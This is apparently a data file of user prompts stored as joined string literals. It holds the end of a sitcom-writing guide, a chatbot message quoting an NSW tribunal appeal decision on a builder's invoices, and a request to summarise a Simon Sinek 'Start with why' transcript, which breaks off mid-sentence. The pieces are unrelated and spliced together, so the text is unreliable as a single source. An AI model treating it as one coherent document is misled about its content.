cast of characters, who rarely change and rarely develop. The Simpsons is a sitcom which best exemplifies this lack of change as even after 30 years, the central characters are still the same age, in the same house, in the same town and even in the same clothes.\nThe situation is the place to start when writing a sitcom. The location and the cast of characters is vital to fuelling the comedy.\nSo, the ‘precinct’ or primary setting. This will be the starting point for the controlling idea of the show. When it comes to precincts there are three typical types of locations in which a sitcom can be situated.\n\\* The workplace\n\\* A home\n\\* A combination of the two\n\xa0\n1. Workplace\nBrooklyn Nine Nine uses a literal precinct in the form of the 99th Police Precinct. This is classed as a workplace situation comedy and features police officers in their various roles.\nOther examples of workplace sitcoms include the TV studio in 30 Rock, the bars in It’s Always Sunny in Philadelphia and Cheers, the basement filled with nerds in The IT Crowd, the various political buildings and offices in Veep and The Thick of it and\xa0the offices in The Office and\xa0Parks and Recreation.\nThe concept of the workplace could also be less literal and include schools, universities and colleges, as in Bad Education and\xa0Community.\xa0The casts are therefore work colleagues or a work ‘family’.\nTo create an example, a sitcom could be set in a pizzeria, which is a place of work that would allow for a central cast of pizza chefs, owners, and waiters. But it could also feature recurring characters such as customers and delivery drivers.\n\nBest Cold Opens | Parks and Recreation\n\n[![Best Cold Opens | Parks and Recreation](https://industrialscripts.com/wp-content/plugins/wp-youtube-lyte/lyteCache.php?origThumbUrl=https%3A%2F%2Fi.ytimg.com%2Fvi%2Feey-wOyTOJs%2F0.jpg) \nWatch this video on YouTube](https://youtu.be/eey-wOyTOJs)\n2. Home\nThe home precinct is demonstrated in the aforementioned eternal sitcom The Simpsons, and in a number of other shows based around where people live.\nThese types of sitcoms include Friends, New Girl, Seinfeld,\xa0Modern Family,\xa0What We Do In The Shadows and Spaced.\nThe primary location of each of these shows is a place where people live. Therefore, the casts consist of biological families or makeshift families formed of roommates or friends.\n\n3. Multiple Precincts\nThe precinct is not always the only location and almost all shows include a number of bases for the characters to interact in, both in private and public.\n\\* Frasier includes the radio station and Frasier’s apartment as the two main bases but also frequently features a coffee shop.\n\\* Friends also centres around two neighbouring apartments and a coffee shop.\n\\* The school is the meeting place of the main characters in The Inbetweeners,\xa0but the show itself rarely centres within the school. Each episode focuses more on the characters being put into a new situation such as a theme park trip, night out or work experience.\nIt is rare that a sitcom only centres on one place. But it is vital for your own sitcom writing experience that the characters have a location where they can all meet. There, they can link up to go on a variety of antics.\nHowever, a precinct doesn’t make it a sitcom. So far, all we have is a part of the situation. Unless you have comedic characters you’ve just written something more akin to a soap opera.\n\xa0\nFunny People\nA sitcom will not succeed unless it has characters who are funny. Funny can’t be the characters primary defintion though. The comedy has to come from somewhere intrinsically tied to who that character is.\nWhen writing comedic characters, Judd Apatow often starts by reading self-help books, which allow him to think psychologically about his characters and build them from flaws and insecurities. This is a good example of how even comedic characters need depth.\n\xa0\nComedic Conflict\nA basis of contradictory personalities and conflict is integral to every sitcom and to comedy in general. It is the first thing you should be considering when creating your characters in your sitcom.\nTo continue the earlier pizzeria example, it is important to create a makeshift family that all contradict each other. This may mean ensuring that one pizza chef is an Italian pizza purist, while another is an advocate of hot dog stuffed crusts, for example.\n\n\xa0\nDifferent Forms of Sitcoms\nAnother important consideration to take into account when writing a sitcom is what form it will take. This will determine how the script will be written. Forms of sitcom include:\nSingle-Camera\n\\* These are the simplest to write and follow dramatic writing conventions, as seen in Atlanta, New Girl, Gavin and Stacey.\n\\* Many shows use the single-camera form as an opportunity to create filmic episodes, giving the writer more scope to incorporate homages to other films and genres as seen in Community and Spaced.\n\\* The misleadingly named single-camera form usually uses more than one camera, but is shot without an audience.\nMulti-Camera\n\\* These are often studio shows, shot in front of a live audience.\n\\* A consideration when writing is to leave spaces between jokes to allow for audience laughter.\n\\* Examples include: Friends, Frasier, The Big Bang Theory, The IT Crowd.\nAnimated\n\\* Similarly to single-camera, the animated sitcom allows for more creativity. For example, the use of surrealist jokes. After all, anything that can be created can be drawn.\n\\* Examples include: The Simpsons, Rick and Morty, Family Guy, BoJack Horseman.\nComedic Genres\nThere are many different comedic genres within comedy. Sitcoms often use a combination of styles and genres within them.\nWatching and studying shows like those listed below will give you a good understanding of the potential breadth of genre within the crafting of a sitcom:\n\\* Mockumentary – eg. The Office,\xa0Parks and Recreation, Modern Family, What We Do In The Shadows\n\\* Wit and Wordplay – eg. Frasier, Seinfeld,\xa0How I Met Your Mother\n\\* Slapstick and Farce – eg. Fawlty Towers, Friday Night Dinner,\xa0Arrested Development\n\\* Deadpan – eg. Flight of The Conchords\n\\* Spoof and Homage – eg.\xa0Community, The Simpsons, Spaced\n\\* Satire – eg. The Thick of It, Veep, W1A, Avenue 5\n\\* Surreal – eg. BoJack Horseman,\xa0Family Guy, The Mighty Boosh\n\\* Dark Comedy – eg. Black Books, It’s Always Sunny In Philadelphia\n\\* Blue Comedy – eg. The Inbetweeners,\xa0Catastrophe\n\\* Cringe – eg. The Office, Curb Your Enthusiasm\nIt’s important always to link the genre of your sitcom to your core values and intensions. These different comedic genres can have different functions. When misapplied or inappropriate their strength can feel undermined.\n\\* For example, The Office is about the minutiae of office life and the ego of the central character desperately trying to impress the omnipresent documentary crew. So a mockumentary format is perfect for this idea.\n\\* Whilst Spaced is about\xa0a group of aimless young adults saturated in popular culture. So to have it spoof and homage other films and genres makes perfect sense.\n\xa0\nThe Sitcom Story Structure\nSitcom story structure can be viewed similarly to the scriptwriting of any television show or film,\xa0 just condensed to a 22-30 minute script. When writing a sitcom the three-act structure can be applied as with every other genre of film or TV. This isn’t a strict rule but a helpful guide to follow.\nFriends Season 1 Episode 5: The One with the East German Laundry Detergent demonstrates sitcom story structure well as it has three separate plots that all rapidly go through the three-act structure. It demonstrates how sitcoms both use the traditional film three-act structure but also have unique elements to their form as well.\n\xa0\nFirst Act:\nThe friends are all gathered in the coffee shop. During the first act, they split up into pairs, creating three separate plots with two main characters in each.\nA Plot: Ross and Rachel agree to meet and do laundry. Ross is nervous when he convinces himself that it is a date and wants it to go well. Rachel wants to do her own laundry to feel independent.\nB Plot: Chandler wants to break up with his girlfriend, Janice. Phoebe wants to break up with her boyfriend, Tony.\nC Plot: Joey wants to take his ex-girlfriend, Angela, on a date. So, he convinces Angela to go on a double date. Angela and her new boyfriend will go on a double date with Joey and Monica. However, Joey tells Monica that Bob is actually Angela’s brother, so Monica thinks she’s being set up with Bob.\nSecond Act:\nAll three subplots go through mild, comedic obstacles to achieve their goals, which were established in the first act.\nA Plot: Ross and Rachel go to the laundrette. Ross defends Rachel’s washing machine from being taken by a ‘horrible woman’. Ross proceeds to teach her to do laundry. Rachel’s laundry doesn’t go well and everything turns pink.\nB Plot: Phoebe easily breaks up with her boyfriend while Chandler is unable to break up with Janice. Chandler breaks the news to Janice and she reacts negatively.\nC Plot: Joey continues to conceal the motives behind the double date. He plants the seeds for Bob to break up with Angela by highlighting Angela’s unappealing traits while he acts as a wingman for Monica. Monica and Angela go to the bathroom together and discuss Bob.\n\nThird Act:\nA Plot: Rachel stands up to the horrible woman proving her independence and Ross and Rachel briefly kiss. Ross then bumps his head on a washing machine door. During the End Tag, Rachel is icing Ross’ head.\nB Plot: Phoebe intervenes in Chandler’s break up and Janice leaves happily. During the End Tag, Chandler runs through the streets celebrating his newfound freedom.\nC Plot: Joey confesses to Monica that Bob and Angela aren’t siblings and the two agree to break the couple up. During the End Tag, Joey and Monica return from their date, overjoyed at having “ripped that couple apart”.\nEveryone is basically in the same position as they were in when the episode started. They have gone through minor changes but are ultimately all still sat in the coffee shop together. The story has gone in a circle.\n\xa0\nOther Examples and Structures\nDan Harmon, creator of Community\xa0and\xa0Rick and Morty handily adapted the 3-act structure into a story circle. The situation is allowed to change over the course of the episode but ultimately the characters are unchanged and in relatively the same position.\nHarmon’s story circle is partially based on the “hero’s journey” and blueprints a successful structure for a sitcom.\n\n1. A character is in their comfort zone or regular situation (the precinct),\n2. But they want or need something else,\n3. They go into an unfamiliar situation or cross a threshold,\n4. The character adapts to the situation while facing trials and obstacles,\n5. Finding what they wanted, whether they like it or not,\n6. But the new situation “kicks their ass” and forces them to pay the price,\n7. Then they return to their familiar situation (the precinct),\n8. The events of the episode have changed them. In sitcom, this is rarely drastic.\nSitcoms are only 22-30 minutes long and thus the story structure is compressed and the story is almost on fast forward.\n\xa0\nWrite What You Know – But Make it Funny\nOne of the most common pieces of advice that people seem to tell you when writing is to write what you know. This is also true in sitcom, but as always, it doesn’t mean you can only write about yourself.\nTake funny situations that happen to you and put your characters in the same situation, adapt the story of your life. If you meet someone that makes you laugh – write a similar character to them in to your medieval sitcom.\n\xa0\nHow to Actually Write A Sitcom Script\nIn terms of how to write a screenplay, the writing process of a sitcom script is similar to any other script. However, there are a few ways in which a sitcom script may vary. Consider the following elements of a sitcom script:\n\\* The Cold Open – This is an opportunity to include a joke which doesn’t play into the rest of the episode as a comedic hook to draw in a new audience.\n\\* The End Tag – Very similar to the cold open but at the end of the episode. Often it is a payoff to a small set-up from earlier in the episode. But it can also be an entirely original joke involving one or two characters (Troy and Abed often serve this purpose in Community).\n\\* Use of Flashbacks/Cutaways –\xa0Family Guy, 30 Rock and most mockumentaries frequently use flashbacks and cutaways for quick punchlines and gags.\n\\* Callbacks and Running Jokes –\xa0Arrested Development\xa0is a particularly excellent series for having jokes that pop up in different iterations throughout the series. It’s a kind of language that show itself will create and repeatedly use throughout.\n\\* Fast Paced Scenes – Scenes in sitcoms are rarely long, 1-2 pages per scene or set-up is fairly standard as it keeps the pace moving quickly and you can move on to the next joke or comedic setup quickly.\n\xa0\nRe-Draft to Make It Funnier\nOnce you’ve completed your script, workshop it with people. Read it through aloud and see which bits are funny and which bits need work. Then, re-write, re-read, re-workshop your script.\nThis process will have developed it into something that, at the very least, you and your workshop find funny. If it makes you laugh, chances are it’ll make a few other people laugh.\nPerhaps more than most genres, comedy is hard to get right without finding out if it works with an audience. This is even more relevant in a sitcom. So sharing your work with others and seeing how it plays to a room (however big or small that room may be) is a vital step in the process.\n\xa0\nAnd Finally… Don’t forget to Defy Genre\nWhen writing a sitcom, remember to innovate and create a genre hybrid. Combining elements of different genres and forms can create interesting and exciting new ideas.\n\\* What We Do In The Shadows, for example, combines a house-share, a mockumentary and a world in which supernatural creatures exist.\n\\* Peep Show\xa0takes a flat share and gives the main characters internal monologues.\n\\* Community\xa0takes a number of different genres and uses them throughout the series to create different innovative episodes within the sitcom genre.\nInnovation makes the sitcom and your script stand out. This guide has given you the outline of what a sitcom is, how it works and how to write one.\nIt’s also important to know that as with everything else, these rules can and sometimes should be broken. If you want to write a sitcom about a pizzeria then do it. If you want to stray further from the norms and set this pizzeria in a medieval kingdom, that is your prerogative.\nInnovation is important and so is enjoying what you’re writing. So write what you know, and write what you like. If your enthusiasm for the idea jumps off the page, then it will be of interest to like-minded people.\nSitcoms are there to make us laugh, comfort us and re-unite us every night with characters we’ve grown to know. It’s vital that in a genre with these intentions, these elements are baked into to the writing.' +'This is part 7 of my multiple messages. I will continue to send you further messages. If you understand then please say "acknowledged".\n\nGround 5 – the award of damages in respect of the amount of the builder’s invoices\n\nThe Tribunal dealt with the builder’s invoices as follows (at [59]):\n\n…Mr Bannister provided a breakdown of costs, and I have received no break-down of costs to the contrary and he was not cross-examined in a way that causes me to reject his evidence. In the absence of any expert building evidence to the contrary, I make orders in accordance with the total contained therein. I award $29,601.69 in accordance with three invoices (Y1-Y3) for loss and damages in connection with the removal and replacement of the windows.\n\nThe appellant submitted that, in finding the appellant liable to the respondents for the amount of the three invoices from the builder, the Tribunal had:\n\nPlaced the onus of proof on the appellant in respect of proof of damage;\n\nFailed to take into account the contractual provisions regarding responsibility for waterproofing; and\n\nFailed to give adequate reasons for concluding that the work referred to in the invoices was work required in consequence of the appellant’s breach of contract, that is “work required in order to bring the work into conformity with the contract”.\n\nThe appellant submitted that the only evidence that the builder’s work, the subject of the invoices, had anything to do with the windows, was in the wording of the invoices themselves and in contemporaneous emails from Mr Bannister’s father, who had apparently prepared the invoices.\n\nThe appellant submitted:\n\nThe fact that the invoices provide some sort of ‘breakdown of costs’ does not mean that any of those costs were incurred as a result of BW’s breach of contract. The Tribunal made no attempt to analyse the content of the invoices in terms of BW’s contractual obligations.\n\nAlthough the Tribunal referred to the invoices as Y1-Y3, they were in fact identified as Annexures Y-7, Y-8, and Y-9. The three invoices were:\n\nAnnexure Y-7, in the amount of $10,908.70. The narration on this invoice described the work the subject of the invoice as “Remove existing defective windows, existing external blinds, cladding etc, and prepare openings for the new windows; Provide adequate flashing and install windows to openings. The invoice recorded that the work involved 68 hours of labour, and also included charges of $2,485 in respect of materials, the nature of which was not specified, and $250 for pump hire.\n\nAnnexure Y-8, in the amount of $10,007.39. The narration on this invoice described the work the subject of the invoice as “Continue installation of sheeting, cappings, moulding etc”. The labour involved was 83 hours over a period of about two weeks. The invoice also included a charge of $653.63 in respect of “materials” with no further detail.\n\nAnnexure Y-9, in the amount of $9,092.16. This invoice included two narrations describing the work the subject of the invoice. The first narration was “Complete remainder of external flashings, cappings, fix blinds, removal of scaffold” in respect of which 59 hours were charged. That narration was followed by a charge of $480 for unspecified materials. The second narration was “Relocated fan position, including blocking and support, relocating door handles to wet areas and patching”. The invoice included a further charge of $339 in respect of unspecified materials” and a second charge for labour of 14 hours. It was not clear from the invoice whether that labour related to the second narration as it appeared above the second narration.\n\nThe appellant acknowledged that the first invoice (Annexure Y-7 in the amount of $10,908.70) included the removal of existing windows and “prepare openings for the new windows” but submitted that “there is no breakdown in the invoice (or any other evidence) as to how many of the 68 hours [recorded on the invoice] was spent on these activities”.\n\nThe appellant submitted that “the cost of repairing or replacing cladding surrounding the window openings cannot have been the result of BW’s breach of contract”, and that there is no indication in the invoice as to how much labour was involved in this activity. The appellant noted that it cannot be inferred that the charge for pump hire resulted from any defect in the windows installed by the appellant.\n\nThe appellant submitted that the second invoice “on its face has nothing to do with replacing the BW windows with Wideline windows”.\n\nThe appellant submitted that the third invoice was dated 26 September, which was two and a half months after the last of the replacement windows had been installed. The appellant referred to evidence given by Mr Bannister that the reference to flashing in the invoices was a typographical error. The appellant further submitted that that there was “no evidence of any causative link” between the work identified in the invoice and a breach of contract by the appellant.\n\nThe appellant further submitted that, insofar as the Tribunal had held that Mr Bannister “was not cross-examined in a way that causes [the Tribunal] to reject his evidence” that was not to the point, as Mr Bannister had not given evidence drawing any connection between the invoices and the windows installed by the appellant.\n\nThe respondents submitted:\n\nNo evidence to counter the Respondents’ claim was tendered by the Appellant at the hearing at first instance or in this appeal to challenge the invoices, the scope of work of the builder or its relationship to any contractual obligations of the Appellant, whatever they may have been at the relevant time. The Member could only decide on the matters and evidence put before her and therefore this cannot be an error of law.\n\nFurther, the Appellant has not adduced any evidence to support its assertion that the Tribunal made no attempt to analyse the content of the invoices in terms of BW’s contractual obligations.\n\nThe Appellant’s legal representative had the opportunity to cross examine Jackson Bannister in relation to the invoices if the Appellant had concerns with these invoices. The Respondents submit that in such circumstances and in the absence of rebuttal evidence from the Appellant there is no error or law.\n\nIn reply, the appellant submitted that the appellant’s challenge to the award of the amount of the invoices was not on the basis of their quantum (amount) but rather on the basis that the work set out in the invoices was not the result of the appellant’s breach of contract; that is, it was not the cost of rectifying work for which the appellant was responsible and was not work required to achieve “conformity with the contract”.\n\nThe appellant submitted that, even though work which was clearly part of the rectification of the appellant’s work, such as removing the windows installed by the appellant, was included in the first invoice, “the respondents bore the onus of proof in respect of the necessary apportionment of the invoice” and noted that the Tribunal had not attempted any apportionment exercise.\n\nThe appellant further submitted that the installation of the new windows had been carried out by Wideline in accordance with its contract to “supply and install”. The appellant referred to an email from Mr Bannister’s father, Neil Bannister, dated 28 June 2019, which stated “so far our teams have not really assisted in the installation as there is not much to this work”.\n\nThe appellant finally submitted that it was impossible to tell from the invoices whether the work done by the builder was in consequence of the removal and reinstallation of windows in January 2019 or the removal of the appellant’s windows and the installation of the Wideline windows in June or July 2019. The appellant referred to the evidence of Mr Sibilia that “due to the extensive damage caused by the respondent in reinstalling the three replacement windows, building rectification work was required” and pointed out that clause 2(b) of the Deed made this damage the respondents’ responsibility.\n\nConsideration – Ground 5\n\nThe measure of damages for breach of contract is the amount required to put the innocent party into the position they would have been if the contract had been performed. In respect of defective building work, the measure of damages is the amount required to bring the work into conformity with the contract, provided that is a reasonable course to adopt: Bellgrove v Eldridge (1954) 90 CLR 613 at 617-618.\n\nThe onus of proving that measure of damages lies upon the party seeking to recover damages.\n\nWe consider that the Tribunal made an error of law in finding the appellant liable for the amount of the builder’s invoices. The Tribunal did not acknowledge that the onus of proving that the invoices reflected costs incurred by reason of the appellant’s breach of statutory warranties lay upon the respondents.\n\nThe invoices did not of themselves establish that they reflected such costs and Mr Sibilia’s, evidence, to which the appellant referred in its submissions in reply, suggested otherwise.\n\nAlthough the first invoice clearly includes the removal of the windows, it also includes other work and does not identify the cost of the work involved in removing the windows. As the appellant submitted, the onus of establishing the appropriate apportionment of that invoice lay upon the respondents.\n\nThe balance of the first invoice and the second and third invoices do not indicate how any of the work for which payment was claimed was related to the replacement of the defective windows.\n\nThere was no onus on the appellant to undertake cross-examination of Mr Bannister, the builder, to clarify the extent to which the invoices reflected work necessary to “bring the work into conformity with the contract”. Rather, the fact that the respondents did not lead evidence from Mr Bannister to clarify the content of his invoices, and to identify specifically what parts of the invoices related to work involved in the removal and replacement of the windows, gave rise to an inference that Mr Bannister’s evidence on that topic would not have assisted the respondents.\n\nAs Handley JA held in Commercial Union Assurance Company of Australia Ltd v Ferrcom Pty Ltd (1991) 11 NSWLR 389 at 418F-G:\n\n… I can see no reason why those principles [arising from Jones v Dunkel] should not apply when a party by failing to examine a witness in chief on some topic, indicates “as the most natural inference that the party fears to do so”. This fear is then “some evidence” that such examination in chief “would have exposed facts unfavourable to the party”: see Jones v Dunkel (at 320-321) per Windeyer J. Moreover in Ex parte Harper; Re Rosenfield [1964-5] NSWR 58 at 62, Asprey J, citing Marks v Thompson 1 NYS 2d 215 (1937) at 218, held that inferences could not be drawn in favour of a party that called a witness who could have given direct evidence when that party refrained from asking the crucial questions.\n\nMr Bannister’s affidavit addressed only the testing he had undertaken to assess whether the windows installed by the appellant were leaking. The entirety of his evidence in chief concerning the invoices was given in response to a question from Mr Stack, the respondents’ solicitor:\n\nMR STACK – Okay. Now, did you or someone on your behalf prepare a series of invoices for work performed and the dates of 27 June, 12 July, and 27 September 2019?\n\nMR BANNISTER – Yes.\n\nIn our view, it is clear that the evidence tendered by the respondents was not sufficient to establish that the work the subject of the invoices was work which was required to bring the work into conformity with the contract or to establish the value of the work which was such work. That conclusion is strengthened by the inference to be drawn by reason of the fact that Mr Bannister was called to give evidence and was not asked questions to establish that the work the subject of the invoices was related to the replacement of the windows.\n\nAccordingly, the Tribunal’s decision to the extent that it awards the respondents the amount of the invoices must be set aside. In light of that conclusion it is not necessary to deal with grounds 2 or 3, which, as we have noted above, were limited to a challenge to the award of the amount of the invoices.\n\nSections 80 and 81 of the Civil and Administrative Tribunal Act 2013 (NSW) permit the Appeal Panel to exercise all the functions of the Tribunal at first instance and to vary a decision rather than remitting it for further hearing.\n\nWe do not consider it appropriate to remit the matter to the Tribunal for re-determination, as it would not be appropriate to allow the parties to file further evidence on any remittal hearing and, in our view, the evidence which was before the Tribunal was clearly insufficient to establish any causal link between the defects in the windows installed by the appellant and the amounts charged by the builder in the three invoices. In those circumstances it is, in our view, appropriate to vary the judgment to exclude the amount of the three invoices, that is $29,601.69.' +'please turn this video transcript into a written and bulleted summary \n\nTranscriber: Capa Girl Reviewer: Wendy Morales\n0:02\nSo, where do you start when you have a program that\'s about integrating lives with passions?\n0:08\nWell, you start with "why."\n0:10\nWhy?\n0:11\nAnd that kicks us off for the first speaker tonight - Simon Sinek\n0:17\nand his talk "Start with why."\n0:22\nSimon Sinek: We assume, even, we know why we do what we do.\n0:28\nBut then how do you explain when things don\'t go as we assume?\n0:32\nOr better, how do you explain when others are able to achieve things\n0:37\nthat seem to defy all of the assumptions?\n0:39\nFor example: why is Apple so innovative?\n0:42\nYear after year, after year,\n0:44\nthey\'re more innovative than all their competition.\n0:48\nAnd yet, they\'re just a computer company.\n0:49\nThey\'re just like everyone else.\n0:51\nThey have the same access to the same talent,\n0:53\nthe same agencies, the same consultants, the same media.\n0:56\nThen why is it that they seem to have something different?\n1:01\nWhy is it that Martin Luther King led the Civil Rights Movement?\n1:05\nHe wasn\'t the only man who suffered in a pre-civil rights America,\n1:09\nand he certainly wasn\'t the only great orator of the day.\n1:11\nWhy him?\n1:13\nAnd why is it that the Wright brothers were able to figure out\n1:17\ncontrolled, powered man flight when there were certainly other teams\n1:21\nwho were better qualified, better funded --\n1:24\nand they didn\'t achieve powered man flight,\n1:27\nthe Wright brothers beat them to it.\n1:29\nThere\'s something else at play here.\n1:32\nAbout three and a half years ago I made a discovery.\n1:36\nAnd this discovery profoundly changed my view\n1:40\non how I thought the world worked,\n1:42\nand it even profoundly changed the way in which I operate in it.\n1:48\nAs it turns out, there\'s a pattern.\n1:50\nAs it turns out, all the great and inspiring leaders and organizations in the world --\n1:55\nwhether it\'s Apple or Martin Luther King or the Wright brothers --\n1:58\nthey all think, act and communicate the exact same way.\n2:02\nAnd it\'s the complete opposite to everyone else.\n2:06\nAll I did was codify it, and it\'s probably the world\'s simplest idea.\n2:12\nI call it the golden circle.\n2:22\nWhy? How? What?\n2:25\nThis little idea explains why some organizations and some leaders\n2:29\nare able to inspire where others aren\'t.\n2:31\nLet me define the terms really quickly.\n2:34\nEvery single person, every single organization on the planet\n2:37\nknows what they do. 100 percent.\n2:39\nSome know how they do it,\n2:42\nwhether you call it your differentiated value proposition\n2:44\nor your proprietary process or your USP.\n2:47\nBut very, very few people or organizations know why they do what they do.\n2:52\nAnd by "why" I don\'t mean "to make a profit."\n2:54\nThat\'s a result. It\'s always a result.\n2:56\nBy "why" I mean: What\'s your purpose?\n2:58\nWhat\'s your cause? What\'s your belief?\n3:00\nWhy does your organization exist?\n3:04\nWell, as a result, the way we think, the way we act,\n3:06\nthe way we communicate is from the outside in.\n3:08\nIt\'s obvious. We go from the clearest thing to the fuzziest thing.\n3:11\nBut the inspired leaders and the inspired organizations --\n3:15\nregardless of their size, regardless of their industry --\n3:19\nall think, act and communicate from the inside out.\n3:23\nLet me give you an example.\n3:25\nI use Apple because they\'re easy to understand and everybody gets it.\n3:28\nIf Apple were like everyone else,\n3:31\na marketing message from them might sound like this:\n3:35\n"We make great computers.\n3:37\nThey\'re beautifully designed, simple to use and user friendly.\n3:41\nWanna buy one?" "Meh."\n3:44\nAnd that\'s how most of us communicate.\n3:46\nThat\'s how most marketing is done, that\'s how most sales is done\n3:48\nand that\'s how most of us communicate interpersonally.\n3:50\nWe say what we do, we say how we\'re different or how we\'re better\n3:53\nand we expect some sort of a behavior,\n3:55\na purchase, a vote, something like that.\n3:57\nHere\'s our new law firm.\n3:59\nWe have the best lawyers with the biggest clients,\n4:00\nwe always perform for our clients who do business with us.\n4:03\nHere\'s our new car. It gets great gas mileage,\n4:05\nit has leather seats, buy our car. But it\'s uninspiring.\n4:10\nHere\'s how Apple actually communicates.\n4:14\n"Everything we do, we believe in challenging the status quo.\n4:19\nWe believe in thinking differently.\n4:23\nThe way we challenge the status quo\n4:25\nis by making our products beautifully designed,\n4:27\nsimple to use and user friendly.\n4:29\nWe just happen to make great computers.\n4:32\nWanna buy one?"\n4:34\nTotally different right? You\'re ready to buy a computer from me.\n4:36\nAll I did was reverse the order of the information.\n4:39\nPeople don\'t buy what you do they buy why you do it.\n4:41\nPeople don\'t buy what you do they buy why you do it.\n4:44\nThis explains why every single person in this room\n4:48\nis perfectly comfortable buying a computer from Apple.\n4:51\nBut we\'re also perfectly comfortable buying an MP3 player from Apple,\n4:55\nor a phone from Apple, or a DVR from Apple.\n4:58\nBut, as I said before, Apple\'s just a computer company.\n5:01\nThere\'s nothing that distinguishes them structurally from any of their competitors.\n5:04\nTheir competitors are all equally qualified to make all of these products.\n5:08\nIn fact, they tried.\n5:09\nA few years ago, Gateway came out with flat screen TVs.\n5:12\nThey\'re eminently qualified to make flat screen TVs.\n5:15\nThey\'ve been making flat screen monitors for years.\n5:17\nNobody bought one.\n5:19\nDell came out with MP3 players and PDAs, and they make great quality products,\n5:25\nand they can make perfectly well-designed products --\n5:28\nand nobody bought one.\n5:29\nIn fact, talking about it now, we can\'t even imagine\n5:31\nbuying an MP3 player from Dell.\n5:33\nWhy would you buy an MP3 player from a computer company?\n5:35\nBut we do it every day.\n5:37\nPeople don\'t buy what you do, they buy why you do it.\n5:40\nThe goal is not to do business with everybody who needs what you have.\n5:45\nThe goal is to do business with people who believe what you believe.\n5:51\nHere\'s the best part:\n5:52\nNone of what I\'m telling you is my opinion.\n5:55\nIt\'s all grounded in the tenets of biology.\n5:57\nNot psychology, biology.\n6:00\nIf you look at a cross-section of the human brain,\n6:01\nlooking from the top down,\n6:03\nwhat you see is the human brain is actually broken into three major components\n6:06\nthat correlate perfectly with the golden circle.\n6:10\nOur newest brain, our Homo Sapien brain,\n6:12\nour neocortex, corresponds with the "what" level.\n6:16\nThe neocortex is responsible for all of our\n6:18\nrational and analytical thought and language.\n6:22\nThe middle two sections make up our limbic brains,\n6:25\nand our limbic brains are responsible for all of our feelings,\n6:28\nlike trust and loyalty.\n6:31\nIt\'s also responsible for all human behavior,\n6:34\nall decision-making,\n6:35\nand it has no capacity for language.\n6:38\nIn other words, when we communicate from the outside in,\n6:41\nyes, people can understand vast amounts of complicated information\n6:45\nlike features and benefits and facts and figures.\n6:47\nIt just doesn\'t drive behavior.\n6:49\nWhen we can communicate from the inside out,\n6:51\nwe\'re talking directly to the part of the brain that controls behavior,\n6:55\nand then we allow people to rationalize it\n6:58\nwith the tangible things we say and do.\n7:00\nThis is where gut decisions come from.\n7:02\nYou know, sometimes you can give somebody all the facts and figures,\n7:06\nand they say, "I know what all the facts and details say, but it just doesn\'t feel right."\n7:10\nWhy would we use that verb, it doesn\'t "feel" right?\n7:12\nBecause the part of the brain that controls decision-making doesn\'t control language.\n7:16\nAnd the best we can muster up is, "I don\'t know. It just doesn\'t feel right."\n7:20\nOr sometimes you say you\'re leading with your heart,\n7:22\nor you\'re leading with your soul.\n7:23\nWell, I hate to break it to you, those aren\'t other body parts\n7:25\ncontrolling your behavior.\n7:27\nIt\'s all happening here in your limbic brain,\n7:29\nthe part of the brain that controls decision-making and not language.\n7:33\nBut if you don\'t know why you do what you do,\n7:35\nand people respond to why you do what you do,\n7:39\nthen how will you ever get people to vote for you,\n7:42\nor buy something from you, or, more importantly, be loyal\n7:46\nand want to be a part of what it is that you do?\n7:49\nAgain, the goal is not just to sell to people who need what you have,\n7:52\nthe goal is to sell to people who believe what you believe.\n7:55\nThe goal is not just to hire people who need a job,\n7:59\nit\'s to hire people who believe what you believe.\n8:02\nI always say that, you know,\n8:04\nif you hire people just because they can do a job, they\'ll work for your money,\n8:10\nbut if you hire people who believe what you believe,\n8:11\nthey\'ll work for you with blood and sweat and tears.\n8:14\nAnd nowhere else is there a better example of this\n8:16\nthan with the Wright brothers.\n8:18\nMost people don\'t know about Samuel Pierpont Langley.\n8:21\nAnd back in the early 20th century,\n8:24\nthe pursuit of powered man flight was like the dot com of the day.\n8:27\nEverybody was trying it.\n8:29\nAnd Samuel Pierpont Langley had, what we assume,\n8:32\nto be the recipe for success.\n8:34\nI mean, even now, when you ask people,\n8:36\n"Why did your product or why did your company fail?"\n8:39\nAnd people always give you the same permutation\n8:40\nof the same three things:\n8:42\nunder-capitalized, the wrong people, bad market conditions.\n8:45\nIt\'s always the same three things, so let\'s explore that.\n8:49\nSamuel Pierpont Langley was given 50,000 dollars by the War Department\n8:53\nto figure out this flying machine.\n8:55\nMoney was no problem.\n8:57\nHe held a seat at Harvard and worked at the Smithsonian\n9:01\nand was extremely well-connected.\n9:02\nHe knew all the big minds of the day.\n9:04\nHe hired the best minds money could find\n9:08\nand the market conditions were fantastic.\n9:10\nThe New York Times followed him around everywhere,\n9:13\nand everyone was rooting for Langley.\n9:16\nThen how come we\'ve never heard of Samuel Pierpont Langley?\n9:19\nA few hundred miles away in Dayton Ohio,\n9:22\nOrville and Wilbur Wright,\n9:24\nthey had none of what we consider to be the recipe for success.\n9:28\nThey had no money, they paid for their dream\n9:30\nwith the proceeds from their bicycle shop,\n9:33\nnot a single person on the Wright brothers\' team had a college education,\n9:36\nnot even Orville or Wilbur,\n9:39\nand The New York Times followed them around nowhere.\n9:42\nThe difference was, Orville and Wilbur were driven by a cause,\n9:46\nby a purpose, by a belief.\n9:48\nThey believed that if they could figure out this flying machine,\n9:52\nit\'ll change the course of the world.\n9:55\nSamuel Pierpont Langley was different.\n9:57\nHe wanted to be rich, and he wanted to be famous.\n10:00\nHe was in pursuit of the result. He was in pursuit of the riches.\n10:04\nAnd lo and behold, look what happened.\n10:06\nThe people who believed in the Wright brothers\' dream\n10:09\nworked with them with blood and sweat and tears.\n10:12\nThe others just worked for the paycheck.\n10:14\nAnd they tell stories of how every time the Wright brothers went out,\n10:17\nthey would have to take five sets of parts,\n10:19\nbecause that\'s how many times they would crash before they came in for supper.\n10:23\nAnd, eventually, on December 17th 1903,\n10:27\nthe Wright brothers took flight,\n10:30\nand no one was there to even experience it.\n10:32\nWe found out about it a few days later.\n10:36\nAnd further proof that Langley was motivated by the wrong thing:\n10:40\nThe day the Wright brothers took flight, he quit.\n10:43\nHe could have said, "That\'s an amazing discovery, guys,\n10:46\nand I will improve upon your technology," but he didn\'t.\n10:50\nHe wasn\'t first, he didn\'t get rich,\n10:52\nhe didn\'t get famous so he quit.\n10:54\nPeople don\'t buy what you do, they buy why you do it.\n10:57\nAnd if you talk about what you believe,\n10:59\nyou will attract those who believe what you believe.\n11:01\nBut why is it important to attract those who believe what you believe?\n11:07\nSomething called the law of diffusion of innovation,\n11:09\nand if you don\'t know the law, you definitely know the 